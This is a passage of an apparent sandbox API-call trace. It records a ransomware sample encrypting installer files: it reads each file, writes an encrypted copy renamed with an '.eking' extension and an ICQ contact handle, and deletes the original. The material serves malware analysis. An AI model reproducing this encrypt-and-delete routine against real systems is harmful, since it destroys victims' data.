dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.398] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0082.398] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x10a82, lpOverlapped=0x0) returned 1 [0082.771] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x10a90, lpOverlapped=0x0) returned 1 [0082.775] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.775] CloseHandle (hObject=0x320) returned 1 [0082.775] CloseHandle (hObject=0x324) returned 1 [0082.781] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0082.783] SetEvent (hEvent=0x2cc) returned 1 [0082.783] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.784] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=65238) returned 1 [0082.784] CloseHandle (hObject=0x324) returned 1 [0082.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0082.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0082.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.784] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.784] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.784] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.784] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0082.785] ReadFile (in: hFile=0x324, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xfed6, lpOverlapped=0x0) returned 1 [0082.789] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xfee0, lpOverlapped=0x0) returned 1 [0082.791] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.791] CloseHandle (hObject=0x324) returned 1 [0082.791] CloseHandle (hObject=0x320) returned 1 [0082.796] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0082.797] SetEvent (hEvent=0x2cc) returned 1 [0082.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.798] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=15192) returned 1 [0082.798] CloseHandle (hObject=0x320) returned 1 [0082.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0082.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0082.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.799] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.799] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.799] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0082.799] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x3b58, lpOverlapped=0x0) returned 1 [0082.808] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x3b60, lpOverlapped=0x0) returned 1 [0082.809] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.810] CloseHandle (hObject=0x320) returned 1 [0082.810] CloseHandle (hObject=0x324) returned 1 [0082.813] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0082.814] SetEvent (hEvent=0x2cc) returned 1 [0082.814] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.817] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=79634) returned 1 [0082.818] CloseHandle (hObject=0x320) returned 1 [0082.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0082.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0082.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.818] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0082.818] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.818] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.819] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0082.819] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x13712, lpOverlapped=0x0) returned 1 [0082.850] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x13720, lpOverlapped=0x0) returned 1 [0082.853] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0082.853] CloseHandle (hObject=0x320) returned 1 [0082.853] CloseHandle (hObject=0x330) returned 1 [0082.863] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0082.865] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.866] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3046) returned 1 [0082.866] CloseHandle (hObject=0x330) returned 1 [0082.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0082.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0082.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.866] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.866] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.866] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0082.867] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0082.875] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xbe6, lpOverlapped=0x0) returned 1 [0083.205] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xbf0, lpOverlapped=0x0) returned 1 [0083.207] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0083.207] CloseHandle (hObject=0x330) returned 1 [0083.207] CloseHandle (hObject=0x320) returned 1 [0083.210] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0083.212] SetEvent (hEvent=0x2cc) returned 1 [0083.212] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.212] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=4040) returned 1 [0083.213] CloseHandle (hObject=0x320) returned 1 [0083.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0083.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0083.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.213] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.213] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.213] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.213] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0083.216] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xfc8, lpOverlapped=0x0) returned 1 [0083.218] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xfd0, lpOverlapped=0x0) returned 1 [0083.219] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0083.219] CloseHandle (hObject=0x320) returned 1 [0083.219] CloseHandle (hObject=0x330) returned 1 [0083.224] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0083.225] SetEvent (hEvent=0x2cc) returned 1 [0083.225] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.225] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=82374) returned 1 [0083.225] CloseHandle (hObject=0x330) returned 1 [0083.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0083.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0083.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.226] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.226] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.226] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.226] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0083.226] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x141c6, lpOverlapped=0x0) returned 1 [0083.230] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x141d0, lpOverlapped=0x0) returned 1 [0083.233] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0083.233] CloseHandle (hObject=0x330) returned 1 [0083.234] CloseHandle (hObject=0x320) returned 1 [0083.237] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0083.239] SetEvent (hEvent=0x2cc) returned 1 [0083.239] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.239] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18264) returned 1 [0083.239] CloseHandle (hObject=0x320) returned 1 [0083.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0083.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0083.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.240] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.240] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.240] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.240] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0083.240] ReadFile (in: hFile=0x320, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4758, lpOverlapped=0x0) returned 1 [0083.517] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4760, lpOverlapped=0x0) returned 1 [0083.518] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0083.519] CloseHandle (hObject=0x320) returned 1 [0083.519] CloseHandle (hObject=0x330) returned 1 [0083.520] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0083.522] SetEvent (hEvent=0x2cc) returned 1 [0083.524] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0083.525] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=54456) returned 1 [0083.525] CloseHandle (hObject=0x32c) returned 1 [0083.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0083.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0083.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.525] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0083.525] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.525] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.525] CreateFileW 